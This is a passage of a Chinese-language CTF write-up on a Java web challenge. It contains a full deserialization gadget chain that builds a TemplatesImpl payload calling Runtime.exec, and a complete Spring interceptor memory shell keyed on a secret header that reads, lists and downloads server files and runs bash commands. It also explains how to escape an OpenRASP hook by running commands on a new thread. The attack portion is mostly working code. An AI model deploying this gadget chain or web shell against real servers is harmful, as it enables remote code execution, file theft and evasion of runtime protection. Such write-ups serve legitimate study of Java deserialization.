// 占位创建wrapper,避免构造时提前触发hashCode
Equivalence.Wrapper<Object> wrapper = eq.wrap("dummy");
HashMap<Object, Object> map = new HashMap<>();
map.put(wrapper, "v");
// 反射替换为真实的toString触发目标
Field refField = Equivalence.Wrapper.class.getDeclaredField("reference");
refField.setAccessible(true);
refField.set(wrapper, toStringTarget);
return map;
}
// ========== 2. 中层跳板:Vaadin toString → 反射调用getter ==========
private static Object createPropertysetItem(Object instance, String property) throws Exception {
NestedMethodProperty<?> prop = new NestedMethodProperty<>(instance, property);
PropertysetItem item = new PropertysetItem();
item.addItemProperty("x", prop);
return item;
}
// ========== 3. 内层核心:构造 TemplatesImpl 恶意序列化字节(二次反序列化载荷) ==========
private static byte[] buildInnerTemplatesPayload(String command) throws Exception {
// 动态生成恶意 Translet 类
ClassPool pool = ClassPool.getDefault();
CtClass evilClass = pool.makeClass("EvilTranslet");
evilClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
// 静态代码块中写入执行命令的逻辑
String cmdCode = String.format(
"java.lang.Runtime.getRuntime().exec(\"%s\");",
command.replace("\"", "\\\"")
);
CtConstructor staticBlock = evilClass.makeClassInitializer();
staticBlock.insertBefore(cmdCode);
byte[] classBytes = evilClass.toBytecode();
// 反射填充 TemplatesImpl 关键字段
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{classBytes});
setFieldValue(templates, "_name", "EvilTemplates");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
setFieldValue(templates, "_outputProperties", new Properties());
// 序列化 TemplatesImpl,得到内层反序列化字节
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(templates);
oos.close();
return bos.toByteArray();
}
// ========== 工具方法:反射设置私有字段 ==========
private static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
// ========== 4. 总装:拼接完整链路,生成最终Payload ==========
private static byte[] buildFinalPayload(byte[] innerPayload) throws Exception {
// 构造MapProxy动态代理:getter调用 → 类型转换 → 二次反序列化
HashMap<String, Object> proxyMap = new HashMap<>();
proxyMap.put("margin", innerPayload); // key与属性名对应:getMargin() → margin
MapProxy mapProxy = MapProxy.create(proxyMap);
// JDK动态代理:实现MarginHandler接口,InvocationHandler为MapProxy
Object proxy = Proxy.newProxyInstance(
VaadinHutoolSecondaryDeserialize.class.getClassLoader(),
new Class[]{Layout.MarginHandler.class, java.io.Serializable.class},
mapProxy
);
// 拼接 Vaadin 跳板
Object propertysetItem = createPropertysetItem(proxy, "margin");
// 拼接 Guava HashMap 入口
Object outerHashMap = wrapWithGuavaHashMap(propertysetItem);
// 序列化外层对象,得到最终Payload
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(outerHashMap);
oos.close();
return bos.toByteArray();
}
public static void main(String[] args) throws Exception {
// 自定义要执行的命令,比如反弹shell、读文件等
String command = "calc.exe";
// 生成内层TemplatesImpl恶意字节 + 外层完整二次反序列化链
byte[] innerPayload = buildInnerTemplatesPayload(command);
byte[] finalPayload = buildFinalPayload(innerPayload);
// 核心步骤:序列化字节数组转 Base64 字符串
String base64Payload = Base64.getEncoder().encodeToString(finalPayload);
System.out.println("===== 最终Base64 Payload =====");
System.out.println(base64Payload);
}
}
Rasp绕过
这里就是之前发现的OpenRasp拦截,
但Rasp只拦截了命令执行的相关方法,文件操作的是不拦截的,所以可以注入能够进行文件操作的内存马,读取rasp文件,然后本地分析,内存马如下
package com.ctf.poc;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.*;
import java.lang.reflect.Field;
import java.text.SimpleDateFormat;
import java.util.*;
/**
* Interceptor-based memory shell injected via TemplatesImpl deserialization.
* Extends AbstractTranslet (required by TemplatesImpl) + implements HandlerInterceptor.
*
* Triggered by: Header "X-Cmd-Token: s3cretKey"
* Actions: read, list, download, exec (Thread bypass for RASP)
*/
public class MemShell extends AbstractTranslet implements HandlerInterceptor {
private static final String TOKEN_HEADER = "X-Cmd-Token";
private static final String TOKEN_VALUE = "s3cretKey";
public MemShell() {
try {
registerInterceptor();
} catch (Exception ignored) {
}
}
private void registerInterceptor() throws Exception {
WebApplicationContext context = getWebApplicationContext();
if (context == null) return;
Map<String, AbstractHandlerMapping> mappings =
context.getBeansOfType(AbstractHandlerMapping.class);
for (AbstractHandlerMapping mapping : mappings.values()) {
Field f = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
f.setAccessible(true);
@SuppressWarnings("unchecked")
List<Object> interceptors = (List<Object>) f.get(mapping);
if (interceptors != null) {
boolean exists = false;
for (Object obj : interceptors) {
if (obj.getClass().getName().equals(this.getClass().getName())) {
exists = true;
break;
}
}
if (!exists) {
interceptors.add(this);
}
}
}
}
private static WebApplicationContext getWebApplicationContext() {
// Method 1: Spring RequestContextHolder (works when triggered from DispatcherServlet)
try {
ServletRequestAttributes attrs =
(ServletRequestAttributes) RequestContextHolder.currentRequestAttributes();
WebApplicationContext ctx = (WebApplicationContext) attrs.getRequest().getServletContext()
.getAttribute("org.springframework.web.servlet.FrameworkServlet.CONTEXT.dispatcherServlet");
if (ctx != null) return ctx;
} catch (Exception ignored) {
}
// Method 2: CXF PhaseInterceptorChain (works during SOAP request processing)
try {
Object message = Class.forName("org.apache.cxf.phase.PhaseInterceptorChain")
.getMethod("getCurrentMessage").invoke(null);
if (message != null) {
Object req = message.getClass().getMethod("get", Object.class)
.invoke(message, "HTTP.REQUEST");
if (req instanceof HttpServletRequest) {
javax.servlet.ServletContext sc = ((HttpServletRequest) req).getServletContext();
Object ctx = sc.getAttribute(
"org.springframework.web.servlet.FrameworkServlet.CONTEXT.dispatcherServlet");
if (ctx == null) {
ctx = sc.getAttribute(WebApplicationContext.ROOT_WEB_APPLICATION_CONTEXT_ATTRIBUTE);
}
if (ctx instanceof WebApplicationContext) return (WebApplicationContext) ctx;
}
}
} catch (Exception ignored) {
}
// Method 3: ContextLoader (traditional Spring with ContextLoaderListener)
try {
return org.springframework.web.context.ContextLoader.getCurrentWebApplicationContext();
} catch (Exception ignored) {
}
return null;
}
// ==================== HandlerInterceptor ====================
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response,
Object handler) throws Exception {
String token = request.getHeader(TOKEN_HEADER);
if (!TOKEN_VALUE.equals(token)) {
return true;
}
response.setCharacterEncoding("UTF-8");
String action = request.getParameter("action");
if (action == null) action = "read";
try {
switch (action) {
case "read":
doRead(request, response);
break;
case "list":
doList(request, response);
break;
case "download":
doDownload(request, response);
break;
case "exec":
doExec(request, response);
break;
default:
text(response, 400, "Unknown action. Supported: read, list, download, exec");
}
} catch (Exception e) {
text(response, 500, "ERROR: " + e.getMessage());
}
return false;
}
// ==================== Actions ====================
private void doRead(HttpServletRequest req, HttpServletResponse resp) throws Exception {
String path = req.getParameter("path");
if (path == null || path.isEmpty()) {
text(resp, 400, "Missing parameter: path");
return;
}
File file = new File(path);
if (!file.exists()) {
text(resp, 404, "File not found: " + path);
return;
}
if (!file.isFile()) {
text(resp, 400, "Not a file: " + path);
return;
}
if (!file.canRead()) {
text(resp, 403, "Permission denied: " + path);
return;
}
resp.setContentType("text/plain; charset=UTF-8");
try (FileInputStream fis = new FileInputStream(file);
OutputStream out = resp.getOutputStream()) {
byte[] buf = new byte[8192];
int n;
while ((n = fis.read(buf)) > 0) {
out.write(buf, 0, n);
}
out.flush();
}
}
private void doList(HttpServletRequest req, HttpServletResponse resp) throws Exception {
String path = req.getParameter("path");
if (path == null || path.isEmpty()) {
text(resp, 400, "Missing parameter: path");
return;
}
File dir = new File(path);
if (!dir.exists()) {
text(resp, 404, "Path not found: " + path);
return;
}
if (!dir.isDirectory()) {
text(resp, 400, "Not a directory: " + path);
return;
}
File[] files = dir.listFiles();
if (files == null) {
text(resp, 403, "Permission denied: " + path);
return;
}
Arrays.sort(files, (a, b) -> {
if (a.isDirectory() != b.isDirectory()) {
return a.isDirectory() ? -1 : 1;
}
return a.getName().compareToIgnoreCase(b.getName());
});
SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
StringBuilder sb = new StringBuilder();
sb.append("Directory: ").append(dir.getAbsolutePath())
.append(" (").append(files.length).append(" items)\n\n");
sb.append(String.format("%-6s %5s %5s %12s %-19s %s\n",
"TYPE", "R", "W", "SIZE", "MODIFIED", "NAME"));
sb.append("--------------------------------------------------------------------------------\n");
for (File f : files) {
sb.append(String.format("%-6s %5s %5s %12s %-19s %s\n",
f.isDirectory() ? "[DIR]" : "[FILE]",
f.canRead() ? "r" : "-",
f.canWrite() ? "w" : "-",
f.isFile() ? String.valueOf(f.length()) : "-",
sdf.format(new Date(f.lastModified())),
f.getName()));
}
text(resp, 200, sb.toString());
}
private void doDownload(HttpServletRequest req, HttpServletResponse resp) throws Exception {
String path = req.getParameter("path");
if (path == null || path.isEmpty()) {
text(resp, 400, "Missing parameter: path");
return;
}
File file = new File(path);
if (!file.exists() || !file.isFile()) {
text(resp, 404, "Not a file: " + path);
return;
}
if (!file.canRead()) {
text(resp, 403, "Permission denied: " + path);
return;
}
resp.setContentType("application/octet-stream");
resp.setHeader("Content-Disposition", "attachment; filename=\"" + file.getName() + "\"");
resp.setContentLengthLong(file.length());
try (FileInputStream fis = new FileInputStream(file);
OutputStream out = resp.getOutputStream()) {
byte[] buf = new byte[8192];
int n;
while ((n = fis.read(buf)) > 0) {
out.write(buf, 0, n);
}
out.flush();
}
}
private void doExec(HttpServletRequest req, HttpServletResponse resp) throws Exception {
String cmd = req.getParameter("cmd");
if (cmd == null || cmd.isEmpty()) {
text(resp, 400, "Missing parameter: cmd");
return;
}
CmdRunner runner = new CmdRunner(new String[]{"/bin/bash", "-c", cmd});
runner.start();
runner.join(10000);
text(resp, 200, runner.getOutput());
}
// ==================== Helpers ====================
private void text(HttpServletResponse resp, int status, String body) throws IOException {
resp.setStatus(status);
resp.setContentType("text/plain; charset=UTF-8");
resp.getWriter().write(body);
resp.getWriter().flush();
}
// ==================== AbstractTranslet (required stubs) ====================
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
throws TransletException {
}
}
下载rasp.jar后就是分析源码找漏洞了
这里官方wp分析了RASP的拦截点,我也不太会,就放官方wp吧,再多学点java后再补
下载rasp后,分析Agent 入口 (RaspAgent.premain):
将 RASP jar 加入 bootstrap classpath(确保 JDK 核心类中注入的代码能访问
RaspChecker)注册
RaspTransformer(ClassFileTransformer)设置
NativeMethodPrefix = "``"(用于 hook native 方法)对已加载的目标类执行
retransformClasses
Hook 点(4 个目标类,覆盖所有命令执行路径):
| 目标类 | Hook 方法 | 拦截目的 |
|---|---|---|
| java.lang.Runtime | exec (所有重载) | 标准命令执行入口 |
| java.lang.Runtime | load, loadLibrary | 防止上传 .so 后通过 JNI 绕过 |
| java.lang.ProcessBuilder | start | ProcessBuilder 方式执行 |
| java.lang.ProcessImpl/UNIXProcess | , start, forkAndExec(native) | 最底层拦截,防反射调用 |
NativeMethodPrefix 机制(防止反射调用 native 方法绕过):
RASP 对 ProcessImpl.forkAndExec(Linux 进程创建的 native 方法)使用 NativeMethodPrefix 技术:
原始 native 方法
forkAndExec被 JVM 重命名为forkAndExecRASP 生成新的 Java 方法
forkAndExec,在方法入口插入RaspChecker.shouldBlock()检查后再委托给 native 方法即使通过
Unsafe.allocateInstance()跳过构造函数后反射调用forkAndExec,也会被新的 wrapper 方法拦截
拦截判定逻辑 (RaspChecker.shouldBlock()):

public static boolean shouldBlock() {
Thread currentThread = Thread.currentThread();
String threadName = currentThread.getName();
// 检查 1:线程名是否匹配 HTTP 请求处理线程
String[] HTTP_THREAD_PATTERNS = {
"http-nio-", "http-apr-", "catalina-exec-",
"exec-", "qtp", "XNIO-", "default task-"
};
boolean isHttpThread = false;
for (String pattern : HTTP_THREAD_PATTERNS) {
if (threadName.contains(pattern)) {
isHttpThread = true;
break;
}
}
// 检查 2:调用栈中是否包含 Web 框架帧
if (!isHttpThread) {
String[] WEB_CONTEXT_FRAMES = {
"javax.servlet.", "jakarta.servlet.",
"org.apache.catalina.", "org.apache.coyote.", "org.apache.tomcat.",
"org.apache.cxf.", "org.springframework.web.",
"org.eclipse.jetty.", "io.undertow."
};
StackTraceElement[] stack = currentThread.getStackTrace();
for (StackTraceElement frame : stack) {
for (String webFrame : WEB_CONTEXT_FRAMES) {
if (frame.getClassName().startsWith(webFrame)) {
isHttpThread = true;
break;
}
}
}
}
// 只有 HTTP 请求上下文中的命令执行才拦截
if (isHttpThread) {
logBlock(currentThread); // 打印 [OpenRASP] 拦截日志
return true;
}
return false;
}
核心缺陷:RASP 仅对 HTTP 请求上下文中的命令执行进行拦截,无法覆盖从 HTTP 线程中 fork 出的新线程。
这里就可以通过经典的新线程逃逸去绕过Rasp的Http上下文检测。
这是当时从腾讯Rasp挑战赛看到的一种绕过:

这里是自己先通过反序列化加载了CmdRunner类,然后在内存马里调用,实现新线程绕过:

碎碎念
这NEP的题真难啊,ai一把梭出来回头wp都看不懂(),工控我都没法写,不会的太多了。还有怎么感觉web难题都是反序列化()怎么说呢,还是学少了,JAVA基础不牢啊,之后再学学吧
最后给官方wp指个路,出题师傅都很厉害哒~还有感谢江神提供的wp哈